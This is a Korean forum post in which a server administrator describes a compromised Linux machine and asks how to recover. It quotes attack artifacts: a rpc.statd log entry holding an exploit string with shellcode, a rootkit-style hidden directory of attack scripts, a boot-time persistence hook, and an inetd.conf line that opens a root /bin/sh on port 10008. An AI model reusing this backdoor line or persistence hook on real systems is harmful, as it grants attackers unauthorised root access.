고수님 도와주세요.. 실마리라도 부탁드립니다.
다음은 제 서버에 지금까지 찾아낸 현상들입니다.
좋은 복구시킬 방법 갈켜주세요..
 [현상1]
[root@oh /root]# ls
ls: unrecognized option `--show-control-chars'
Try `ls --help' for more information.
[root@oh /root]#
 [현상2]
모든 링크된 화일들은 깨졌는지 화면상 깜빡거림.
 [현상3]
/var/log/messages 화일내용중 아래와같은것이 있다.
 Apr 26 10:11:43 oh 173>Apr 26 10:11:43 rpc.statd[495]: gethostbyname
error for ^
X??X??Y??Y??Z??Z??[??[?풺ffff75c 8049850    1000687465676274736f6
d616e797265206520726f7220726f66
                     bffff718
                                                                     
     bfff
f719  bffff71a
                                      
bffff71b~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
Apr 26 10:11:43 oh
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~
P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P1잼|Y~IA^P~IA^H?
~IA^D~I층?I
~A컀?@?B~IY^L힍^N~Y힍^H^P~II^D~@A^D^L~H^A컀?@?D컀?@?E0?HA^D컀?@~I?H??
??@???@???@?F/bin?^D/shA0?HF^G~Iv^L~MV^P~MN^L~I箚^Kl??B
 [현상4]
wtmp에 외부에서 ftp로 시스템에 접근한 흔적이 남아있으며
치명적으로 hacking이 이루어졌던 날의 접근흔적은 지워진것 같다.(last명령
확인)
 [현상5]
/etc/rc.d/rc.sysinit화일내 마지막 라인에
"/dev/.lib/star.sh"추가 되어있다.
 /dev/.lib 디렉토리에는
[ohsj@oh .lib]$ ls
asp62*        bindx.sh*     index.html    scan.sh*
bind*         hack.sh*      pscan*        star.sh*
bindname.log  index.htm     randb
[ohsj@oh .lib]$
이러한 화일들이 있으며 hacking과 관련된 화일로 보여진다.
 [현상6]
/etc/rc.d/rc5.d디렉토리의 모든 화일들이 갱신되었으며
-rwxr-xr-x   1 root     root          392 Apr 26 22:49 S80rpcmap*
위와 같은 화일도 있음.
모든 링크된 화일은 깨져있는지 화면상 깜박거림.
 [현상7]
/etc/inetd.conf 화일내용이 변경된것 같음
 #
# Authentication
#
auth   stream  tcp     nowait    nobody    /usr/sbin/in.identd
in.identd -l -e -
o
#
# End of inetd.conf
 linuxconf stream tcp wait root /bin/linuxconf linuxconf --http
#swat      stream  tcp     nowait.400      root /usr/sbin/swat swat
 linuxconf stream tcp wait root /bin/linuxconf linuxconf --http
 linuxconf stream tcp wait root /bin/linuxconf linuxconf --http
#swat      stream  tcp     nowait.400      root /usr/sbin/swat swat
#swat      stream  tcp     nowait.400      root /usr/sbin/swat swat
10008 stream tcp nowait root /bin/sh sh
asp stream tcp nowait root /sbin/asp
 위와 같은 현상들이 있읍니다.
각 현상들을 처리할 수 있는 좋은 방법들은 무엇입니까?
애가 타서 글을 올려봅니다.....
그리고 어떤식의 해킹인지 궁금합니다......--이 곳에 서명을 적어주십시오.해킹은 다른사
람의 눈에 눈물나게 한다..